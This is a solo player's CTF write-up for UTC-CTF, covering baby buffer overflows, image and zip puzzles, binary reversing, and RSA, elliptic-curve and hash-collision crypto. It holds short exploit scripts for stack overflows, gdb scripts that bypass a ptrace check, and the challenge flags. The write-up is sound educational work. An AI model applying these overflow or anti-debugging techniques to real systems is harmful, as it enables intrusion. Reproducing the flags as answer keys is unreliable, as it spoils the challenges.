I played UTC-CTF as wr0ngf1ag
alone. Luckily, I reached 7th place at the end of that great competition! There were many well-designed challenges and educational challenges. Thanks to all the admins!
- [pwn] Simble bof (baby)
- [pwn] RIP my bof (baby)
- [Misc] ezip (baby)
- [Misc] Optics 1 (baby)
- [Misc] Really Good Bicture
- [Reversing] Strings (baby)
- [Reversing] Corey's core dump 1 (baby)
- [Reversing] Jump! (baby)
- [Reversing] Crackme (baby)
- [Reversing] Login auth
- [Reversing] Stacks
- [Crypto] RSAcue
- [Crypto] Curve it up
- [Crypto] OTP
- [Crypto] Enigma Zwei
- [Crypto] Random Hash
[pwn] Simble bof (baby)
We're given the source code of the server.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Defined in a separate source file for simplicity. void init_visualize(char* buff); void visualize(char* buff); void safeguard(); void print_flag(); void vuln() { char padding[16]; char buff[32]; int notsecret = 0xffffff00; int secret = 0xdeadbeef; memset(buff, 0, sizeof(buff)); // Zero-out the buffer. memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding. // Initializes the stack visualization. Don't worry about it! init_visualize(buff); // Prints out the stack before modification visualize(buff); printf("Input some text: "); gets(buff); // This is a vulnerable call! // Prints out the stack after modification visualize(buff); // Check if secret has changed. if (secret == 0x67616c66) { puts("You did it! Congratuations!"); print_flag(); // Print out the flag. You deserve it. return; } else if (notsecret != 0xffffff00) { puts("Uhmm... maybe you overflowed too much. Try deleting a few characters."); } else if (secret != 0xdeadbeef) { puts("Wow you overflowed the secret value! Now try controlling the value of it!"); } else { puts("Maybe you haven't overflowed enough characters? Try again?"); } exit(0); } int main() { safeguard(); vuln(); }
Just do it!
from ptrlib import * sock = Socket("chal.utc-ctf.club", 35235) payload = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + p32(0x67616C66) sock.recvuntil("text: ") sock.sendline(payload) sock.interactive()
utc{buffer_0verflows_4re_c00l!}
[pwn] RIP my bof (baby)
We're given the server binary and source code.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Defined in a separate source file for simplicity. void init_visualize(char* buff); void visualize(char* buff); void win() { system("/bin/cat /flag.txt"); } void vuln() { char padding[16]; char buff[32]; memset(buff, 0, sizeof(buff)); // Zero-out the buffer. memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff. // Initializes the stack visualization. Don't worry about it! init_visualize(buff); // Prints out the stack before modification visualize(buff); printf("Input some text: "); gets(buff); // This is a vulnerable call! // Prints out the stack after modification visualize(buff); } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); vuln(); }
Just do it
from ptrlib import * sock = Socket("chal.utc-ctf.club", 4902) payload = b"a" * 60 + p32(0x8048586) sock.recvuntil("text: ") sock.sendline(payload) sock.interactive()
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
[Misc] ezip (baby)
We're given an encrypted zip and cat.png
. The image must have the key. When I check the EXIF info, it had a comment e4syp4ssf0rz1p
. This was a password.
[Misc] Optics 1 (baby)
We got a corrupted file challenge1.png
. Its signature is altered to LOL
so I recovered it into PNG
using hexedit
. Then the QR code in the image had the flag.
[Misc] Really Good Bicture
We got a simple image. According to the challenge title (RGB), I did the following script.
from PIL import Image img = Image.open("flag.png") w, h = img.size prev = None flag = [] for x in range(w): r, g, b = img.getpixel((x, 0)) if (r, g, b) != prev: flag.extend([r, g, b]) prev = (r, g, b) print("".join(chr(c) for c in flag))
utc{taste_the_rainbow94100389}
[Reversing] Strings (baby)
Just strings
to get the flag: utc{that_waz_ezpz}
[Reversing] Corey's core dump 1 (baby)
Also just strings
to get the flag: utc{im_a_passw0rd}
[Reversing] Jump! (baby)
We got an ELF binary. It set the global variable selfish
to 0 and just exited. But there was an uncalled function gimme_flag
in the binary. It checks the selfish
is zero and generates the flag. So I used following gdb script to make selfish
0 and jump to gimme_flag
.
import gdb gdb.execute("b main") gdb.execute("run") data = gdb.execute("info addr selfish", to_string=True).split() for d in data: if d.startswith("0x"): break gdb.execute("set {{int}}{}=0".format(d)) gdb.execute("jump gimme_flag")
utc{a_l1ttle_h4rd3r_:)}
[Reversing] Crackme (baby)
We got an ELF. It had the three stages which verify the user's input. The first stage is easy to identify the key was 383
. The second stage checks the user's input after taking caesar's cipher. Because the rotation key was 5 and the result was JxWJaJW!
, the key was EsREvER!
. And the last stage used xor cipher to check the input. This one is also easy. I wrote the following script.
s = "L33TC0dE" want = "x\001\022\vw\002E\032x\001\022\vw\002Edm\002\002ub\001E" code = "" for i in range(len(want)): code += chr(ord(want[i]) ^ ord(s[i % len(s)])) print(code)
So the keys were (383, EsREvER!
, 42!_42!_42!_42!!!11!!1!
). Then the flag was utc{383_EsREvER!_42!_42!_42!_42!!!11!!1!}
.
[Reversing] Login auth
We got an ELF. This xored its data section and jump to there. I was decompiled there and found that the code checked the input by xor. So the following script identifies it.
xs = [ 0x6E, 0x2, 0x0B, 0x12, 0x23, 0x49, 0x85, 0x0BD, 0x4B, 0x87, 0x0D, 0x0B3, 0x11, 0x0D, 0x25, 0x80, 0x0A6, 0x82, 0x4A, 0x88, 0x61, 0x3E, 0x0C3, 0x0A6, 0x7F, 0x71, 0x3, 0x7E, 0x85, 0x11, 0x0B2, 0x8B, 0x62, 0x33, 0x72, 0x0BC, 0x34, 0x4, 0x54, 0x28, 0x40, 0x3B, 0x19, 0x0A, 0x48, 0x0B, 0x41, ] ys = [ 0x1B, 0x76, 0x68, 0x69, 0x12, 0x27, 0x0F6, 0x8E, 0x39, 0x0F3, 0x52, 0x0D5, 0x7D, 0x4C, 0x42, 0x0DF, 0x0C8, 0x0E3, 0x7, 0x0BB, 0x3E, 0x4C, 0x0F0, 0x0CA, 0x1E, 0x5, 0x66, 0x1A, 0x0DA, 0x65, 0x82, 0x0D4, 0x1, 0x5B, 0x13, 0x0F0, 0x78, 0x41, 0x3A, 0x4F, 0x25, 0x64, 0x71, 0x39, 0x3A, 0x38, 0x3C, ] a = "" for i in range(len(xs)): a += (chr(xs[i] ^ ys[i])) print(a)
utc{1ns3rt_flAg_naM3_r3lated_t0_chaLLEnge_h3r3}
[Reversing] Stacks
We got an ELF in which the main function was seemed pretty small. However, it used dynamic jump operation like a jmp rcx
and cheked the user input using xor. I used the following gdb script to follow the jumps and registers and avoid the ptrace
check.
# gdb -n -q -x <self> <binary> import gdb import re with open("input.txt", "w") as f: f.write("A" * 0x20) alist = [] dlist = [] gdb.execute("b *0x401000", to_string=True) # start gdb.execute("run < input.txt", to_string=True) gdb.execute("b *0x401128", to_string=True) # cmp rax, rbx gdb.execute("continue", to_string=True) gdb.execute("set $rax = 0", to_string=True) # ptrace = 0 gdb.execute("b *0x401024", to_string=True) # mov ah, byte ptr [rsi] gdb.execute("b *0x401032", to_string=True) # mov dh, byte ptr [rcx] gdb.execute("b *0x401075", to_string=True) # je 0x401079 while True: gdb.execute("continue", to_string=True) gdb.execute("step", to_string=True) a = gdb.execute("print $ah", to_string=True).strip().split(" = ")[1] alist.append(int(a)) gdb.execute("continue", to_string=True) gdb.execute("step", to_string=True) d = gdb.execute("print $dh", to_string=True).strip().split(" = ")[1] dlist.append(int(d)) gdb.execute("continue", to_string=True) gdb.execute("set $eflags = $eflags | (1 << 6)", to_string=True) # set ZF print("".join(chr(a ^ d) for a, d in zip(alist, dlist)))
Note: this script runs with pwndbg
utc{stAcks_Ar3_WACK!!!_HEHEXDXD}
[Crypto] RSAcue
We're given the following script and its result.
from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import gmpy2 from flag import m p = getPrime(1024) while True: p1 = gmpy2.next_prime(p) if p1-p == 2: q = p1 break else: p = p1 n = p*q e = 65537 pub = RSA.construct((long(n), long(e))) f = open('publickey.pem', 'w') f.write(pub.exportKey()) f.close() key = PKCS1_v1_5.new(pub) ct = key.encrypt(m).encode('base64') f1 = open('ciphertext', 'w') f1.write(ct) f1.close()
At first glance, it noticed that p
and q
are quite near (there may be twin primes). So the Fermat factoring attack is effective.
from Crypto.PublicKey import RSA from Crypto.Util.number import * from crypto_commons.generic import fermat_factors from base64 import b64decode rsa = RSA.importKey(open("publickey.pem").read()) p, q = fermat_factors(rsa.n) e = rsa.e d = inverse(e, (p - 1) * (q - 1)) c = b64decode(open("ciphertext").read().replace("\n", "")) c = bytes_to_long(c) m = pow(c, d, rsa.n) print(long_to_bytes(m))
utc{d0n7_k33p_pr1m35_cl053_by_2}
[Crypto] Curve it up
We got the curve.txt
. Here is it.
Elliptic Curve: y^2 = x^3 + A*x + B mod N N = 58738485967040967283590643918006240808790184776077323544750172596357004242953 A = 76727570604275129576071347306603709762219034167050511215297136720584179974657 B = ??? P = (1499223386326383661524589770996693829399568387777849887556841520506306635197, 18509752623395560148909577815970815579696746171847377654079329916213349431951) Q = (29269524564002256949792104801311755011410313401000538744897527268133583311507, 29103379885505292913479681472487667587485926778997205945316050421132313574991) Q = n*P The flag is utc{n}
The B
is unknown but we know P and Q, so it is easy to identify B
. And then, it is easy to calculate n
. I used sagemath.
sage: x = 1499223386326383661524589770996693829399568387777849887556841520506306 ....: 635197 sage: y = 1850975262339556014890957781597081557969674617184737765407932991621334 ....: 9431951 sage: N = 5873848596704096728359064391800624080879018477607732354475017259635700 ....: 4242953 ....: A = 7672757060427512957607134730660370976221903416705051121529713672058417 ....: 9974657 sage: (x^3 + A*x - y^2) % N 51815615959490465098483241883476658568251085372935164566673646687456909276745 sage: B = -518156159594904650984832418834766585682510853729351645666736466874569 ....: 09276745 % N sage: P = EC(1499223386326383661524589770996693829399568387777849887556841520506 ....: 306635197, 185097526233955601489095778159708155796967461718473776540793299 ....: 16213349431951) sage: Q = EC(2926952456400225694979210480131175501141031340100053874489752726813 ....: 3583311507, 29103379885505292913479681472487667587485926778997205945316050 ....: 421132313574991) sage: P.discrete_log(Q) 314159
utc{314159}
[Crypto] OTP
This is multi time pad. Just do it.
MY FAVORITE SEASON IS TOTALLY THE SUMMER NO WAY THE BEST SEASON IS TOTALLY SPRING utc{drag_those_cribs}
[Crypto] Enigma Zwei
It is a reversing challenge rather than the crypto challenge. Just do it!
utc{En1gm4_e1N5_w4s_w4444y_str0nG3r_7h4n_th15}
[Crypto] Random Hash
We're given the following script.
import sys import random for trial in range(20): mask = (1<<64)-1 seed = random.getrandbits(64) base = random.getrandbits(64)|1 def xhash(x): h = seed for b in x: h = ((h+b)*base)&mask return h a = input('string 1> ') b = input('string 2> ') if a == b: sys.exit(0) if xhash(a.encode()) != xhash(b.encode()): sys.exit(0) with open('flag.txt') as f: print(f.read().strip())
The xhash
is the implementation of the Rolling Hash. And use 2^64
as the modulo. So I referenced this site and wrote the following script.
from ptrlib import Socket s1 = "011<snip>110" s2 = "100<snip>001" sock = Socket("chal.utc-ctf.club", 5991) for _ in range(20): sock.recvuntil(" 1> ") sock.sendline(s1) sock.recvuntil(" 2> ") sock.sendline(s2) sock.interactive()
utc{1s_p0lly_h4sh_b3tt3r_th4n_SHA}